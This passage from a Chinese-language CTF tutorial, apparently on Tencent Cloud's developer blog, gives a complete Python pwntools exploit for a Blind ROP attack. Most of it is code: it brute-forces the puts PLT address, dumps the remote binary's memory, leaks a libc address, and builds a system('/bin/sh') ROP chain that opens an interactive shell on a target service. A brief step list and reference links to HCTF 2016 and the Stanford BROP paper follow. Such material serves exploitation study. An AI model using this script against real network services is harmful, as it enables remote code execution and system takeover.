# 0x400000 这个地址的值是 \x7fELF ,我们可以利用这个特点遍历 puts 的 plt
def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400000):
pop_rdi_ret = useful_gadget + 9
elf_magic_addr = 0x400000
puts_plt = start_addr
while True:
# time.sleep(0.5)
puts_plt += 1
# puts_plt = 0x400550
payload = b'a' * buf_size + p64(pop_rdi_ret) + p64(elf_magic_addr) + p64(puts_plt) + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp1 = r.recvline(timeout=0.5)
resp2 = r.recvline(timeout=0.5)
# print(resp1)
# print(resp2)
# print(resp1.startswith(b'\x7fELF'))
# print(resp2.startswith(b'WelCome'))
# log.info("find one stop gadget: 0x%x", puts_plt)
if resp1.startswith(b'\x7fELF') and resp2.startswith(b'WelCome'):
r.close()
log.info("puts_plt: 0x%x", puts_plt)
return puts_plt
r.close()
log.info("find one stop gadget: 0x%x", puts_plt)
except EOFError as e:
r.close()
log.info("not 0x%x, try harder", puts_plt)
except Exception:
log.info("connect error")
puts_plt -= 1
# 这个函数用来 dump 内存
def dump_memory(buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=0x401000):
pop_rdi_ret = useful_gadget + 9
result = b''
while start_addr < end_addr:
sleep(0.3)
# start_addr = 0x400038
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadget)
try:
r = remote(IP, PORT)
r.recvline()
r.sendline(payload)
resp1 = r.recv(timeout=0.5)
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
# if start_addr == 0x40003e: # and start_addr <= 0x40003b:
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp1 or b'').hex()))
# exit()
if resp1 == b'\n':
resp = b'\x00'
elif resp1[-1:] == b'\n':
log.info("[tail]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
resp = resp1[:-1] + b'\x00'
else:
resp =resp1
if resp != resp1:
log.info("[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % (start_addr, (resp1 or b'').hex(), start_addr, (resp or b'').hex()))
log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
result += resp
start_addr += len(resp)
r.close()
except Exception as e:
print(e)
log.info("connect error")
return result
# 这个函数用来 getshell
def get_shell(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'\x00\x00')
offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a
system_addr = puts_addr - offset_puts + offset_system
bin_sh_addr = puts_addr - offset_puts + offset_bin_sh
payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
payload += p64(useful_gadget + 10)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)
# r.close()
r.recvline()
r.sendline(payload)
r.interactive()
# log.info("puts_addr: 0x%x", puts_addr)
# return puts_addr
except Exception as e:
print(e)
log.info("connect error")
if __name__ == '__main__':
print("Pwn it!")
IP = '127.0.0.1'
PORT = 10001
# buf_size = get_buf_size()
buf_size = 72
# stop_gadget = get_stop_gadget(buf_size)
stop_gadget = 0x400545
# main_addr = get_main_addr(buf_size)
# main_addr = 0x400677
main_addr = 0x400590
# useful_gadget = get_useful_gadget(buf_size, stop_gadget, main_addr, 0x400590)
useful_gadget = 0x40078a
# puts_plt = get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget)
puts_plt = 0x400545
'''
end_addr = 0x401000
code_bin = dump_memory(buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=end_addr)
with open('code.dump', 'wb') as f:
f.write(code_bin)
'''
'''
radare2 获取 puts got 地址
'''
puts_got = 0x00601018
get_shell(buf_size, stop_gadget, useful_gadget, main_addr,puts_plt,puts_got)
BROP 的攻击过程总结如下:
stop_gadget
main
函数地址【可有可无,我很喜欢有】useful_gadget
puts
函数的 plt
地址dump
内存r2
获取 puts
函数的 got
地址system
函数和 /bin/sh
字符串的偏移ROP getshell
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html
https://github.com/zh-explorer/hctf2016-brop
http://www.scs.stanford.edu/brop/
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有